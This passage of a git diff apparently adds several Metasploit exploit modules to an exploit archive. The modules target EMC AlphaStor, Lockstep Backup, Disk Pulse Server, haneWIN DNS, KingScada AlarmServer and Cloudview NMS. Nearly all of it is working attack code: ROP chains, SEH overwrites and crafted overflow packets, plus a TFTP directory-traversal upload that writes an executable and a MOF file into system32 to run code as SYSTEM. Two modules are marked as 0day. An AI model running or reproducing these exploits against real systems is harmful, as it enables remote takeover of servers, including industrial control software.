0x77bdd441, # sub eax, 3c0940fh/ retn
|
||||||
|
0x77bb8285, # xchg eax, edx/ retn
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x90909090,
|
||||||
|
0x77be6591, # pushad/ add al, 0efh/ retn
|
||||||
|
].pack("V*")
|
||||||
|
|
||||||
|
buf = Rex::Text.pattern_create(514)
|
||||||
|
buf[0, 2] = "O~" # opcode
|
||||||
|
buf[13, 4] = [0x77bdf444].pack('V') # stack pivot 52
|
||||||
|
buf[25, 4] = [target.ret].pack('V') # stack pivot 12
|
||||||
|
buf[41, 4] = [0x77bdf444].pack('V') # stack pivot 52
|
||||||
|
buf[57, 4] = [0x01167e20].pack('V') # ptr
|
||||||
|
buf[69, rop.length] = rop
|
||||||
|
buf[165, 4] = [0x909073eb].pack('V') # jmp $+117
|
||||||
|
buf[278, 4] = [0x0116fd59].pack('V') # ptr
|
||||||
|
buf[282, p.length] = p
|
||||||
|
buf[512, 1] = "\x00"
|
||||||
|
|
||||||
|
# junk
|
||||||
|
buf << "AAAA"
|
||||||
|
buf << "BBBB"
|
||||||
|
buf << "CCCC"
|
||||||
|
buf << "DDDD"
|
||||||
|
|
||||||
|
print_status("Trying target %s..." % target.name)
|
||||||
|
|
||||||
|
sock.put(buf)
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
112
platforms/windows/remote/42720.rb
Executable file
112
platforms/windows/remote/42720.rb
Executable file
|
|
@ -0,0 +1,112 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'EMC AlphaStor Device Manager Opcode 0x72',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack based buffer overflow vulnerability
|
||||||
|
found in EMC Alphastor Device Manager. The overflow is triggered
|
||||||
|
when sending a specially crafted packet to the rrobotd.exe service
|
||||||
|
listening on port 3000. During the copying of strings to the stack
|
||||||
|
an unbounded sprintf() function overwrites the return pointer
|
||||||
|
leading to remote code execution.
|
||||||
|
},
|
||||||
|
'Author' => [ 'James Fitts' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', '0day' ],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 160,
|
||||||
|
'DisableNops' => 'true',
|
||||||
|
'BadChars' => "\x00\x09\x0a\x0d",
|
||||||
|
'StackAdjustment' => -404,
|
||||||
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => '+ws2ord',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows Server 2003 SP2 EN',
|
||||||
|
{
|
||||||
|
# pop eax/ retn
|
||||||
|
# msvcrt.dll
|
||||||
|
'Ret' => 0x77bc5d88,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Feb 14 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(3000)
|
||||||
|
], self.class )
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
# msvcrt.dll
|
||||||
|
# 96 bytes
|
||||||
|
rop = [
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x77ba1114, # ptr to kernel32!virtualprotect
|
||||||
|
0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
|
||||||
|
0xfeedface,
|
||||||
|
0x77bb0c86, # xchg eax, esi/ retn
|
||||||
|
0x77bc9801, # pop ebp/ retn
|
||||||
|
0x77be2265,
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x03C0990F,
|
||||||
|
0x77bdd441, # sub eax, 3c0940fh/ retn
|
||||||
|
0x77bb48d3, # pop eax/ retn
|
||||||
|
0x77bf21e0,
|
||||||
|
0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
|
||||||
|
0x77bbfc02, # pop ecx/ retn
|
||||||
|
0x77bef001,
|
||||||
|
0x77bd8c04, # pop edi/ retn
|
||||||
|
0x77bd8c05,
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x03c0984f,
|
||||||
|
0x77bdd441, # sub eax, 3c0940fh/ retn
|
||||||
|
0x77bb8285, # xchg eax, edx/ retn
|
||||||
|
0x77bb2563, # pop eax/ retn
|
||||||
|
0x90909090,
|
||||||
|
0x77be6591, # pushad/ add al, 0efh/ retn
|
||||||
|
].pack("V*")
|
||||||
|
|
||||||
|
buf = "\xcc" * 550
|
||||||
|
buf[246, 4] = [target.ret].pack('V')
|
||||||
|
buf[250, 4] = [0x77bf6f80].pack('V')
|
||||||
|
buf[254, rop.length] = rop
|
||||||
|
buf[350, payload.encoded.length] = payload.encoded
|
||||||
|
|
||||||
|
packet = "\x72#{buf}"
|
||||||
|
|
||||||
|
print_status("Trying target %s..." % target.name)
|
||||||
|
|
||||||
|
sock.put(packet)
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
88
platforms/windows/remote/42721.rb
Executable file
88
platforms/windows/remote/42721.rb
Executable file
|
|
@ -0,0 +1,88 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Remote::Seh
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Lockstep Backup for Workgroups <= 4.0.3',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack buffer overflow found in
|
||||||
|
Lockstep Backup for Workgroups <= 4.0.3. The vulnerability
|
||||||
|
is triggered when sending a specially crafted packet that
|
||||||
|
will cause a login failure.
|
||||||
|
},
|
||||||
|
'Author' => [ 'james fitts' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://secunia.com/advisories/50260/' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1000,
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
|
||||||
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
||||||
|
'EncoderOptions' =>
|
||||||
|
{
|
||||||
|
'BufferRegister' => 'ECX',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows 2000 ALL EN',
|
||||||
|
{
|
||||||
|
# msvcrt.dll
|
||||||
|
# pop ecx/ pop ecx/ retn
|
||||||
|
'Ret' => 0x780146c0,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Feb 11 2013'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(2125),
|
||||||
|
OptString.new('USERNAME', [ true, 'Username of victim', 'msf' ])
|
||||||
|
], self.class )
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
uname = datastore['USERNAME']
|
||||||
|
|
||||||
|
p = "\x90" * 16
|
||||||
|
p << payload.encoded
|
||||||
|
|
||||||
|
packet = rand_text_alpha_upper(10000)
|
||||||
|
packet[0, 8] = "BFWCA\x01\x01\x00"
|
||||||
|
packet[8, uname.length] = "#{uname}\x00"
|
||||||
|
packet[73, p.length] = p
|
||||||
|
packet[7197, 4] = "\xeb\x06\x90\x90" # jmp $+8
|
||||||
|
packet[7201, 4] = [target.ret].pack('V')
|
||||||
|
packet[7205, 8] = "\x90" * 8
|
||||||
|
packet[7213, 2] = "\xff\xe7" # jmp edi
|
||||||
|
|
||||||
|
print_status("Trying target %s..." % target.name)
|
||||||
|
|
||||||
|
sock.put(packet)
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
105
platforms/windows/remote/42722.rb
Executable file
105
platforms/windows/remote/42722.rb
Executable file
|
|
@ -0,0 +1,105 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Remote::Seh
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Disk Pulse Server \'GetServerInfo\' Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a buffer overflow vulnerability found
|
||||||
|
in libpal.dll of Disk Pulse Server v2.2.34. The overflow
|
||||||
|
is triggered when sending an overly long 'GetServerInfo'
|
||||||
|
request to the service listening on port 9120.
|
||||||
|
},
|
||||||
|
'Author' => [ 'James Fitts' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision: $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'BID', '43919' ],
|
||||||
|
[ 'URL', 'http://www.saintcorporation.com/cgi-bin/exploit_info/disk_pulse_getserverinfo' ],
|
||||||
|
[ 'URL', 'http://www.coresecurity.com/content/disk-pulse-server-getserverinfo-request-buffer-overflow-exploit-10-5' ]
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 300,
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x20",
|
||||||
|
'DisableNops' => 'True',
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'SymbolLookup' => 'ws2ord',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows XP SP3 EN',
|
||||||
|
{
|
||||||
|
# p/p/r
|
||||||
|
# libspp.dll
|
||||||
|
'Ret' => 0x1006f71f,
|
||||||
|
'Offset' => 303
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 19 2010'))
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(9120)], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
sploit = "GetServerInfo"
|
||||||
|
sploit << "\x41" * 8
|
||||||
|
sploit << payload.encoded
|
||||||
|
sploit << "\x42" * (303 - (8 + payload.encoded.length))
|
||||||
|
sploit << generate_seh_record(target.ret)
|
||||||
|
sploit << make_nops(4)
|
||||||
|
sploit << "\xe9\xc4\xfe\xff\xff" # jmp $-311
|
||||||
|
sploit << rand_text_alpha_upper(200)
|
||||||
|
|
||||||
|
print_status("Trying target #{target.name}...")
|
||||||
|
|
||||||
|
sock.put(sploit)
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
__END__
|
||||||
|
0033C05C 55 PUSH EBP
|
||||||
|
0033C05D 8B6C24 1C MOV EBP,DWORD PTR SS:[ESP+1C]
|
||||||
|
0033C061 3AC2 CMP AL,DL
|
||||||
|
0033C063 74 14 JE SHORT libpal.0033C079
|
||||||
|
0033C065 3C 0D CMP AL,0D
|
||||||
|
0033C067 74 10 JE SHORT libpal.0033C079
|
||||||
|
0033C069 3C 0A CMP AL,0A
|
||||||
|
0033C06B 74 0C JE SHORT libpal.0033C079
|
||||||
|
0033C06D 41 INC ECX
|
||||||
|
0033C06E 88042F MOV BYTE PTR DS:[EDI+EBP],AL
|
||||||
|
0033C071 47 INC EDI
|
||||||
|
0033C072 8A0431 MOV AL,BYTE PTR DS:[ECX+ESI]
|
||||||
|
0033C075 84C0 TEST AL,AL
|
||||||
|
0033C077 ^75 E8 JNZ SHORT libpal.0033C061
|
||||||
|
0033C079 C6042F 00 MOV BYTE PTR DS:[EDI+EBP],0
|
||||||
|
0033C07D 5D POP EBP
|
||||||
|
0033C07E 5F POP EDI
|
||||||
|
0033C07F 890B MOV DWORD PTR DS:[EBX],ECX
|
||||||
|
0033C081 5E POP ESI
|
||||||
|
0033C082 B8 01000000 MOV EAX,1
|
||||||
|
0033C087 5B POP EBX
|
||||||
|
0033C088 C3 RETN
|
||||||
74
platforms/windows/remote/42723.rb
Executable file
74
platforms/windows/remote/42723.rb
Executable file
|
|
@ -0,0 +1,74 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Remote::Seh
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'haneWIN DNS Server Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a buffer overflow vulnerability found in
|
||||||
|
haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
|
||||||
|
by sending an overly long packet to the victim server. A memcpy
|
||||||
|
function blindly copies user supplied data to a fixed size buffer
|
||||||
|
leading to remote code execution.
|
||||||
|
|
||||||
|
This module was tested against haneWIN DNS 1.5.3
|
||||||
|
},
|
||||||
|
'Author' => [ 'james fitts' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '31260' ],
|
||||||
|
[ 'OSVDB', '102773' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1000,
|
||||||
|
'DisableNops' => true,
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x20",
|
||||||
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
|
||||||
|
{
|
||||||
|
# msvcrt.dll v6.10.9844.0
|
||||||
|
# pop esi/ pop edi/ retn
|
||||||
|
'Ret' => 0x78010394,
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jul 27 2013'))
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(53)], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
p = make_nops(32) + payload.encoded
|
||||||
|
|
||||||
|
buf = Rex::Text.pattern_create(5000)
|
||||||
|
buf[0, 2] = [0x4e20].pack('n') # length for malloc
|
||||||
|
buf[1332, p.length] = p
|
||||||
|
buf[2324, 8] = generate_seh_record(target.ret)
|
||||||
|
buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff" # jmp $-1000
|
||||||
|
|
||||||
|
print_status("Sending malicious request...")
|
||||||
|
sock.put(buf)
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
78
platforms/windows/remote/42724.rb
Executable file
78
platforms/windows/remote/42724.rb
Executable file
|
|
@ -0,0 +1,78 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::Remote::Seh
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'KingScada AlarmServer Stack Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack based buffer overflow found in
|
||||||
|
KingScada < 3.1.2.13. The vulnerability is triggered when
|
||||||
|
sending a specially crafted packet to the 'AlarmServer'
|
||||||
|
(AEserver.exe) service listening on port 12401. During the
|
||||||
|
parsing of the packet the 3rd dword is used as a size value
|
||||||
|
for a memcpy operation which leads to an overflown stack buffer
|
||||||
|
},
|
||||||
|
'Author' => [ 'James Fitts' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2014-0787' ],
|
||||||
|
[ 'ZDI', '14-071' ],
|
||||||
|
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1000,
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x20",
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[
|
||||||
|
'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4',
|
||||||
|
{
|
||||||
|
# dbghelp.dll
|
||||||
|
# pop esi/ pop edi/ retn
|
||||||
|
'ret' => 0x02881fbf,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Apr 10, 2014'))
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(12401)], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
|
||||||
|
p = payload.encoded
|
||||||
|
|
||||||
|
buf = make_nops(5000)
|
||||||
|
buf[0, 4] = [0x000004d2].pack('V')
|
||||||
|
buf[4, 4] = [0x0000007b].pack('V')
|
||||||
|
buf[8, 4] = [0x0000133c].pack('V') # size for memcpy()
|
||||||
|
buf[1128, p.length] = p
|
||||||
|
buf[2128, 8] = generate_seh_record(target['ret'])
|
||||||
|
buf[2136, 5] = "\xe9\x4b\xfb\xff\xff" # jmp $-1200
|
||||||
|
|
||||||
|
print_status("Trying target #{target.name}...")
|
||||||
|
|
||||||
|
sock.put(buf)
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
88
platforms/windows/remote/42725.rb
Executable file
88
platforms/windows/remote/42725.rb
Executable file
|
|
@ -0,0 +1,88 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Rex::Proto::TFTP
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::WbemExec
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Cloudview NMS 2.00b Writable Directory Traversal Execution",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Cloudview NMS server. The
|
||||||
|
software contains a directory traversal vulnerability that allows a remote
|
||||||
|
attacker to write arbitrary file to the file system, which results in
|
||||||
|
code execution under the context 'SYSTEM'.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'james fitts' ],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', '0day']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00",
|
||||||
|
},
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'ExitFunction' => "none"
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ ' Cloudview NMS 2.00b on Windows', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Oct 13 2014",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptInt.new('DEPTH', [ false, "Levels to reach base directory", 5 ]),
|
||||||
|
OptAddress.new('RHOST', [ true, "The remote TFTP server address" ]),
|
||||||
|
OptPort.new('RPORT', [ true, "The remote TFTP server port", 69 ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload(filename, data)
|
||||||
|
tftp_client = Rex::Proto::TFTP::Client.new(
|
||||||
|
"LocalHost" => "0.0.0.0",
|
||||||
|
"LocalPort" => 1025 + rand(0xffff-1025),
|
||||||
|
"PeerHost" => datastore['RHOST'],
|
||||||
|
"PeerPort" => datastore['RPORT'],
|
||||||
|
"LocalFile" => "DATA:#{data}",
|
||||||
|
"RemoteFile" => filename,
|
||||||
|
"Mode" => "octet",
|
||||||
|
"Context" => {'Msf' => self.framework, "MsfExploit" => self },
|
||||||
|
"Action" => :upload
|
||||||
|
)
|
||||||
|
|
||||||
|
ret = tftp_client.send_write_request { |msg| print_status(msg) }
|
||||||
|
while not tftp_client.complete
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
tftp_client.stop
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
|
||||||
|
|
||||||
|
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
|
||||||
|
exe = generate_payload_exe
|
||||||
|
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
|
||||||
|
mof = generate_mof(mof_name, exe_name)
|
||||||
|
|
||||||
|
depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
|
||||||
|
levels = "../" * depth
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
|
||||||
|
upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
|
||||||
|
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading .mof...")
|
||||||
|
upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Add table
Reference in a new issue